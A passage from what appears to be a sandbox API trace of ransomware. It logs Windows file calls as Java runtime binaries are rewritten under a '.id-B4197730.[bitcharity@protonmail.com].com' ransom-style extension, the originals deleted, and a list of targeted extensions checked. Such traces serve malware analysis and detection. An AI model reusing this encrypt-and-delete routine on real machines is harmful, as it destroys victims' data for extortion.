Files\\Java\\jre1.8.0_144\\bin\\j2pcsc.dll.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\j2pcsc.dll.id-b4197730.[bitcharity@protonmail.com].com")) returned 0xffffffff [0298.318] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\j2pcsc.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\j2pcsc.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1098 [0298.318] SetFilePointerEx (in: hFile=0x1098, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x347fec0 | out: lpNewFilePointer=0x0) returned 1 [0298.318] SetFilePointerEx (in: hFile=0x1098, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x347fec0 | out: lpNewFilePointer=0x0) returned 1 [0298.318] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\j2pcsc.dll.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\j2pcsc.dll.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10c4 [0298.319] GetLastError () returned 0x0 [0298.319] ReadFile (in: hFile=0x1098, lpBuffer=0x4030020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x347fecc, lpOverlapped=0x0 | out: lpBuffer=0x4030020*, lpNumberOfBytesRead=0x347fecc*=0x4a40, lpOverlapped=0x0) returned 1 [0298.434] WriteFile (in: hFile=0x10c4, lpBuffer=0x4030020*, nNumberOfBytesToWrite=0x4a50, lpNumberOfBytesWritten=0x347fc94, lpOverlapped=0x0 | out: lpBuffer=0x4030020*, lpNumberOfBytesWritten=0x347fc94*=0x4a50, lpOverlapped=0x0) returned 1 [0298.435] ReadFile (in: hFile=0x1098, lpBuffer=0x4030020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x347fecc, lpOverlapped=0x0 | out: lpBuffer=0x4030020*, lpNumberOfBytesRead=0x347fecc*=0x0, lpOverlapped=0x0) returned 1 [0298.435] WriteFile (in: hFile=0x10c4, lpBuffer=0x4030020*, nNumberOfBytesToWrite=0xe8, lpNumberOfBytesWritten=0x347fc94, lpOverlapped=0x0 | out: lpBuffer=0x4030020*, lpNumberOfBytesWritten=0x347fc94*=0xe8, lpOverlapped=0x0) returned 1 [0298.435] SetEndOfFile (hFile=0x10c4) returned 1 [0298.435] CloseHandle (hObject=0x10c4) returned 1 [0298.435] SetFilePointerEx (in: hFile=0x1098, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x347fec0 | out: lpNewFilePointer=0x0) returned 1 [0298.435] SetEndOfFile (hFile=0x1098) returned 1 [0298.436] CloseHandle (hObject=0x1098) returned 1 [0298.436] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\j2pcsc.dll.id-B4197730.[bitcharity@protonmail.com].com", dwFileAttributes=0x20) returned 1 [0298.437] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\j2pcsc.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\j2pcsc.dll")) returned 1 [0298.437] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\j2pcsc.dll") returned 49 [0298.437] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\j2pcsc.dll") returned 49 [0298.437] lstrlenW (lpString=".doc") returned 4 [0298.437] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0298.437] lstrlenW (lpString=".docx") returned 5 [0298.437] lstrcmpiW (lpString1=".docx", lpString2="c.dll") returned -1 [0298.437] lstrlenW (lpString=".pdf") returned 4 [0298.437] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0298.437] lstrlenW (lpString=".xls") returned 4 [0298.437] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0298.437] lstrlenW (lpString=".xlsx") returned 5 [0298.437] lstrcmpiW (lpString1=".xlsx", lpString2="c.dll") returned -1 [0298.437] lstrlenW (lpString=".ppt") returned 4 [0298.437] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0298.437] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\j2pcsc.dll") returned 49 [0298.437] lstrlenW (lpString=".zip") returned 4 [0298.437] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0298.438] lstrlenW (lpString=".rar") returned 4 [0298.438] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0298.438] lstrlenW (lpString=".bz2") returned 4 [0298.438] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0298.438] lstrlenW (lpString=".7z") returned 3 [0298.438] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0298.438] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\j2pcsc.dll") returned 49 [0298.438] lstrlenW (lpString=".dbf") returned 4 [0298.438] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0298.438] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\j2pcsc.dll") returned 49 [0298.438] lstrlenW (lpString=".1cd") returned 4 [0298.438] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0298.438] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\j2pcsc.dll") returned 49 [0298.438] lstrlenW (lpString=".jpg") returned 4 [0298.438] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0298.438] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\j2pcsc.dll") returned 49 [0298.438] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\j2pcsc.dll") returned 49 [0298.438] lstrlenW (lpString=".doc") returned 4 [0298.438] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0298.438] lstrlenW (lpString=".docx") returned 5 [0298.438] lstrcmpiW (lpString1=".docx", lpString2="c.dll") returned -1 [0298.438] lstrlenW (lpString=".pdf") returned 4 [0298.438] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0298.438] lstrlenW (lpString=".xls") returned 4 [0298.438] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0298.438] lstrlenW (lpString=".xlsx") returned 5 [0298.438] lstrcmpiW (lpString1=".xlsx", lpString2="c.dll") returned -1 [0298.439] lstrlenW (lpString=".ppt") returned 4 [0298.439] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0298.439] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\j2pcsc.dll") returned 49 [0298.439] lstrlenW (lpString=".zip") returned 4 [0298.439] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0298.439] lstrlenW (lpString=".rar") returned 4 [0298.439] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0298.439] lstrlenW (lpString=".bz2") returned 4 [0298.439] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0298.439] lstrlenW (lpString=".7z") returned 3 [0298.439] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0298.439] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\j2pcsc.dll") returned 49 [0298.439] lstrlenW (lpString=".dbf") returned 4 [0298.439] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0298.439] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\j2pcsc.dll") returned 49 [0298.439] lstrlenW (lpString=".1cd") returned 4 [0298.439] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0298.439] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\j2pcsc.dll") returned 49 [0298.439] lstrlenW (lpString=".jpg") returned 4 [0298.439] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0298.439] lstrcmpiW (lpString1=".exe", lpString2=".com") returned 1 [0298.439] lstrlenW (lpString="jabswitch.exe") returned 13 [0298.439] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jabswitch.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jabswitch.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1098 [0298.440] GetFileSizeEx (in: hFile=0x1098, lpFileSize=0x347ff14 | out: lpFileSize=0x347ff14*=34368) returned 1 [0298.440] CloseHandle (hObject=0x1098) returned 1 [0298.440] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jabswitch.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jabswitch.exe")) returned 0x20 [0298.440] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jabswitch.exe.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jabswitch.exe.id-b4197730.[bitcharity@protonmail.com].com")) returned 0xffffffff [0298.440] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jabswitch.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jabswitch.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1098 [0298.440] SetFilePointerEx (in: hFile=0x1098, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x347fec0 | out: lpNewFilePointer=0x0) returned 1 [0298.440] SetFilePointerEx (in: hFile=0x1098, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x347fec0 | out: lpNewFilePointer=0x0) returned 1 [0298.441] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jabswitch.exe.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jabswitch.exe.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10c4 [0298.441] GetLastError () returned 0x0 [0298.441] ReadFile (in: hFile=0x1098, lpBuffer=0x4030020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x347fecc, lpOverlapped=0x0 | out: lpBuffer=0x4030020*, lpNumberOfBytesRead=0x347fecc*=0x8640, lpOverlapped=0x0) returned 1 [0298.537] WriteFile (in: hFile=0x10c4, lpBuffer=0x4030020*, nNumberOfBytesToWrite=0x8650, lpNumberOfBytesWritten=0x347fc94, lpOverlapped=0x0 | out: lpBuffer=0x4030020*, lpNumberOfBytesWritten=0x347fc94*=0x8650, lpOverlapped=0x0) returned 1 [0298.538] ReadFile (in: hFile=0x1098, lpBuffer=0x4030020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x347fecc, lpOverlapped=0x0 | out: lpBuffer=0x4030020*, lpNumberOfBytesRead=0x347fecc*=0x0, lpOverlapped=0x0) returned 1 [0298.538] WriteFile (in: hFile=0x10c4, lpBuffer=0x4030020*, nNumberOfBytesToWrite=0xee, lpNumberOfBytesWritten=0x347fc94, lpOverlapped=0x0 | out: lpBuffer=0x4030020*, lpNumberOfBytesWritten=0x347fc94*=0xee, lpOverlapped=0x0) returned 1 [0298.538] SetEndOfFile (hFile=0x10c4) returned 1 [0298.538] CloseHandle (hObject=0x10c4) returned 1 [0298.538] SetFilePointerEx (in: hFile=0x1098, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x347fec0 | out: lpNewFilePointer=0x0) returned 1 [0298.538] SetEndOfFile (hFile=0x1098) returned 1 [0298.539] CloseHandle (hObject=0x1098) returned 1 [0298.539] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jabswitch.exe.id-B4197730.[bitcharity@protonmail.com].com", dwFileAttributes=0x20) returned 1 [0298.562] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jabswitch.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jabswitch.exe")) returned 1 [0298.756] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jabswitch.exe") returned 52 [0298.756] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jabswitch.exe") returned 52 [0298.756] lstrlenW (lpString=".doc") returned 4 [0298.756] lstrcmpiW (lpString1=".doc", lpString2=".exe") returned -1 [0298.756] lstrlenW (lpString=".docx") returned 5 [0298.756] lstrcmpiW (lpString1=".docx", lpString2="h.exe") returned -1 [0298.756] lstrlenW (lpString=".pdf") returned 4 [0298.756] lstrcmpiW (lpString1=".pdf", lpString2=".exe") returned 1 [0298.756] lstrlenW (lpString=".xls") returned 4 [0298.757] lstrcmpiW (lpString1=".xls", lpString2=".exe") returned 1 [0298.757] lstrlenW (lpString=".xlsx") returned 5 [0298.757] lstrcmpiW (lpString1=".xlsx", lpString2="h.exe") returned -1 [0298.757] lstrlenW (lpString=".ppt") returned 4 [0298.757] lstrcmpiW (lpString1=".ppt", lpString2=".exe") returned 1 [0298.757] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jabswitch.exe") returned 52 [0298.757] lstrlenW (lpString=".zip") returned 4 [0298.757] lstrcmpiW (lpString1=".zip", lpString2=".exe") returned 1 [0298.757] lstrlenW (lpString=".rar") returned 4 [0298.757] lstrcmpiW (lpString1=".rar", lpString2=".exe") returned 1 [0298.757] lstrlenW (lpString=".bz2") returned 4 [0298.757] lstrcmpiW (lpString1=".bz2", lpString2=".exe") returned -1 [0298.757] lstrlenW (lpString=".7z") returned 3 [0298.757] lstrcmpiW (lpString1=".7z", lpString2="exe") returned -1 [0298.757] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jabswitch.exe") returned 52 [0298.757] lstrlenW (lpString=".dbf") returned 4 [0298.757] lstrcmpiW (lpString1=".dbf", lpString2=".exe") returned -1 [0298.757] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jabswitch.exe") returned 52 [0298.757] lstrlenW (lpString=".1cd") returned 4 [0298.757] lstrcmpiW (lpString1=".1cd", lpString2=".exe") returned -1 [0298.757] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jabswitch.exe") returned 52 [0298.757] lstrlenW (lpString=".jpg") returned 4 [0298.757] lstrcmpiW (lpString1=".jpg", lpString2=".exe") returned 1 [0298.757] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jabswitch.exe") returned 52 [0298.757] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jabswitch.exe") returned 52 [0298.757] lstrlenW (lpString=".doc") returned 4 [0298.757] lstrcmpiW (lpString1=".doc", lpString2=".exe") returned -1 [0298.757] lstrlenW (lpString=".docx") returned 5 [0298.757] lstrcmpiW (lpString1=".docx", lpString2="h.exe") returned -1 [0298.757] lstrlenW (lpString=".pdf") returned 4 [0298.757] lstrcmpiW (lpString1=".pdf", lpString2=".exe") returned 1 [0298.757] lstrlenW (lpString=".xls") returned 4 [0298.757] lstrcmpiW (lpString1=".xls", lpString2=".exe") returned 1 [0298.757] lstrlenW (lpString=".xlsx") returned 5 [0298.757] lstrcmpiW (lpString1=".xlsx", lpString2="h.exe") returned -1 [0298.757] lstrlenW (lpString=".ppt") returned 4 [0298.757] lstrcmpiW (lpString1=".ppt", lpString2=".exe") returned 1 [0298.758] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jabswitch.exe") returned 52 [0298.758] lstrlenW (lpString=".zip") returned 4 [0298.758] lstrcmpiW (lpString1=".zip", lpString2=".exe") returned 1 [0298.758] lstrlenW (lpString=".rar") returned 4 [0298.758] lstrcmpiW (lpString1=".rar", lpString2=".exe") returned 1 [0298.758] lstrlenW (lpString=".bz2") returned 4 [0298.758] lstrcmpiW (lpString1=".bz2", lpString2=".exe") returned -1 [0298.758] lstrlenW (lpString=".7z") returned 3 [0298.758] lstrcmpiW (lpString1=".7z", lpString2="exe") returned -1 [0298.758] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jabswitch.exe") returned 52 [0298.758] lstrlenW (lpString=".dbf") returned 4 [0298.758] lstrcmpiW (lpString1=".dbf", lpString2=".exe") returned -1 [0298.758] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jabswitch.exe") returned 52 [0298.758] lstrlenW (lpString=".1cd") returned 4 [0298.758] lstrcmpiW (lpString1=".1cd", lpString2=".exe") returned -1 [0298.758] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jabswitch.exe") returned 52 [0298.758] lstrlenW (lpString=".jpg") returned 4 [0298.758] lstrcmpiW (lpString1=".jpg", lpString2=".exe") returned 1 [0298.758] lstrcmpiW (lpString1=".exe", lpString2=".com") returned 1 [0298.758] lstrlenW (lpString="java.exe") returned 8 [0298.758] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\java.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\java.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10b0 [0298.759] GetFileSizeEx (in: hFile=0x10b0, lpFileSize=0x347ff14 | out: lpFileSize=0x347ff14*=206912) returned 1 [0298.759] CloseHandle (hObject=0x10b0) returned 1 [0298.760] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\java.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\java.exe")) returned 0x20 [0298.760] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\java.exe.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\java.exe.id-b4197730.[bitcharity@protonmail.com].com")) returned 0xffffffff [0298.760] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\java.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\java.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10b0 [0298.760] SetFilePointerEx (in: hFile=0x10b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x347fec0 | out: lpNewFilePointer=0x0) returned 1 [0298.760] SetFilePointerEx (in: hFile=0x10b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x347fec0 | out: lpNewFilePointer=0x0) returned 1 [0298.760] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\java.exe.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\java.exe.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10e0 [0298.761] GetLastError () returned 0x0 [0298.761] ReadFile (in: hFile=0x10b0, lpBuffer=0x4030020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x347fecc, lpOverlapped=0x0 | out: lpBuffer=0x4030020*, lpNumberOfBytesRead=0x347fecc*=0x32840, lpOverlapped=0x0) returned 1 [0298.881] WriteFile (in: hFile=0x10e0, lpBuffer=0x4030020*, nNumberOfBytesToWrite=0x32850, lpNumberOfBytesWritten=0x347fc94, lpOverlapped=0x0 | out: lpBuffer=0x4030020*, lpNumberOfBytesWritten=0x347fc94*=0x32850, lpOverlapped=0x0) returned 1 [0298.884] ReadFile (in: hFile=0x10b0, lpBuffer=0x4030020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x347fecc, lpOverlapped=0x0 | out: lpBuffer=0x4030020*, lpNumberOfBytesRead=0x347fecc*=0x0, lpOverlapped=0x0) returned 1 [0298.884] WriteFile (in: hFile=0x10e0, lpBuffer=0x4030020*, nNumberOfBytesToWrite=0xe4, lpNumberOfBytesWritten=0x347fc94, lpOverlapped=0x0 | out: lpBuffer=0x4030020*, lpNumberOfBytesWritten=0x347fc94*=0xe4, lpOverlapped=0x0) returned 1 [0298.884] SetEndOfFile (hFile=0x10e0) returned 1 [0298.884] CloseHandle (hObject=0x10e0) returned 1 [0298.884] SetFilePointerEx (in: hFile=0x10b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x347fec0 | out: lpNewFilePointer=0x0) returned 1 [0298.885] SetEndOfFile (hFile=0x10b0) returned 1 [0298.887] CloseHandle (hObject=0x10b0) returned 1 [0298.887] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\java.exe.id-B4197730.[bitcharity@protonmail.com].com", dwFileAttributes=0x20) returned 1 [0298.887] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\java.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\java.exe")) returned 1 [0298.887] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\java.exe") returned 47 [0298.887] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\java.exe") returned 47 [0298.887] lstrlenW (lpString=".doc") returned 4 [0298.887] lstrcmpiW (lpString1=".doc", lpString2=".exe") returned -1 [0298.887] lstrlenW (lpString=".docx") returned 5 [0298.887] lstrcmpiW (lpString1=".docx", lpString2="a.exe") returned -1 [0298.887] lstrlenW (lpString=".pdf") returned 4 [0298.887] lstrcmpiW (lpString1=".pdf", lpString2=".exe") returned 1 [0298.887] lstrlenW (lpString=".xls") returned 4 [0298.887] lstrcmpiW (lpString1=".xls", lpString2=".exe") returned 1 [0298.887] lstrlenW (lpString=".xlsx") returned 5 [0298.887] lstrcmpiW (lpString1=".xlsx", lpString2="a.exe") returned -1 [0298.887] lstrlenW (lpString=".ppt") returned 4 [0298.887] lstrcmpiW (lpString1=".ppt", lpString2=".exe") returned 1 [0298.887] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\java.exe") returned 47 [0298.887] lstrlenW (lpString=".zip") returned 4 [0298.887] lstrcmpiW (lpString1=".zip", lpString2=".exe") returned 1 [0298.888] lstrlenW (lpString=".rar") returned 4 [0298.888] lstrcmpiW (lpString1=".rar", lpString2=".exe") returned 1 [0298.888] lstrlenW (lpString=".bz2") returned 4 [0298.888] lstrcmpiW (lpString1=".bz2", lpString2=".exe") returned -1 [0298.888] lstrlenW (lpString=".7z") returned 3 [0298.888] lstrcmpiW (lpString1=".7z", lpString2="exe") returned -1 [0298.888] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\java.exe") returned 47 [0298.888] lstrlenW (lpString=".dbf") returned 4 [0298.888] lstrcmpiW (lpString1=".dbf", lpString2=".exe") returned -1 [0298.888] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\java.exe") returned 47 [0298.888] lstrlenW (lpString=".1cd") returned 4 [0298.888] lstrcmpiW (lpString1=".1cd", lpString2=".exe") returned -1 [0298.888] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\java.exe") returned 47 [0298.888] lstrlenW (lpString=".jpg") returned 4 [0298.888] lstrcmpiW (lpString1=".jpg", lpString2=".exe") returned 1 [0298.888] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\java.exe") returned 47 [0298.888] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\java.exe") returned 47 [0298.888] lstrlenW (lpString=".doc") returned 4 [0298.888] lstrcmpiW (lpString1=".doc", lpString2=".exe") returned -1 [0298.888] lstrlenW (lpString=".docx") returned 5 [0298.888] lstrcmpiW (lpString1=".docx", lpString2="a.exe") returned -1 [0298.888] lstrlenW (lpString=".pdf") returned 4 [0298.888] lstrcmpiW (lpString1=".pdf", lpString2=".exe") returned 1 [0298.888] lstrlenW (lpString=".xls") returned 4 [0298.888] lstrcmpiW (lpString1=".xls", lpString2=".exe") returned 1 [0298.888] lstrlenW (lpString=".xlsx") returned 5 [0298.888] lstrcmpiW (lpString1=".xlsx", lpString2="a.exe") returned -1 [0298.889] lstrlenW (lpString=".ppt") returned 4 [0298.889] lstrcmpiW (lpString1=".ppt", lpString2=".exe") returned 1 [0298.889] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\java.exe") returned 47 [0298.889] lstrlenW (lpString=".zip") returned 4 [0298.889] lstrcmpiW (lpString1=".zip", lpString2=".exe") returned 1 [0298.889] lstrlenW (lpString=".rar") returned 4 [0298.889] lstrcmpiW (lpString1=".rar", lpString2=".exe") returned 1 [0298.889] lstrlenW (lpString=".bz2") returned 4 [0298.889] lstrcmpiW (lpString1=".bz2", lpString2=".exe") returned -1 [0298.889] lstrlenW (lpString=".7z") returned 3 [0298.889] lstrcmpiW (lpString1=".7z", lpString2="exe") returned -1 [0298.889] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\java.exe") returned 47 [0298.889] lstrlenW (lpString=".dbf") returned 4 [0298.889] lstrcmpiW (lpString1=".dbf", lpString2=".exe") returned -1 [0298.889] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\java.exe") returned 47 [0298.889] lstrlenW (lpString=".1cd") returned 4 [0298.889] lstrcmpiW (lpString1=".1cd", lpString2=".exe") returned -1 [0298.889] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\java.exe") returned 47 [0298.889] lstrlenW (lpString=".jpg") returned 4 [0298.889] lstrcmpiW (lpString1=".jpg", lpString2=".exe") returned 1 [0298.889] lstrcmpiW (lpString1=".exe", lpString2=".com") returned 1 [0298.889] lstrlenW (lpString="javacpl.exe") returned 11 [0298.889] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javacpl.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\javacpl.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10b0 [0298.890] GetFileSizeEx (in: hFile=0x10b0, lpFileSize=0x347ff14 | out: lpFileSize=0x347ff14*=80448) returned 1 [0298.890] CloseHandle (hObject=0x10b0) returned 1 [0298.890] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javacpl.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\javacpl.exe")) returned 0x20 [0298.890] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javacpl.exe.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\javacpl.exe.id-b4197730.[bitcharity@protonmail.com].com")) returned 0xffffffff [0298.890] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javacpl.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\javacpl.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10b0 [0298.890] SetFilePointerEx (in: hFile=0x10b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x347fec0 | out: lpNewFilePointer=0x0) returned 1 [0298.890] SetFilePointerEx (in: hFile=0x10b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x347fec0 | out: lpNewFilePointer=0x0) returned 1 [0298.890] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javacpl.exe.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\javacpl.exe.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10e0 [0298.891] GetLastError () returned 0x0 [0298.891] ReadFile (in: hFile=0x10b0, lpBuffer=0x4030020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x347fecc, lpOverlapped=0x0 | out: lpBuffer=0x4030020*, lpNumberOfBytesRead=0x347fecc*=0x13a40, lpOverlapped=0x0) returned 1 [0298.954] WriteFile (in: hFile=0x10e0, lpBuffer=0x4030020*, nNumberOfBytesToWrite=0x13a50, lpNumberOfBytesWritten=0x347fc94, lpOverlapped=0x0 | out: lpBuffer=0x4030020*, 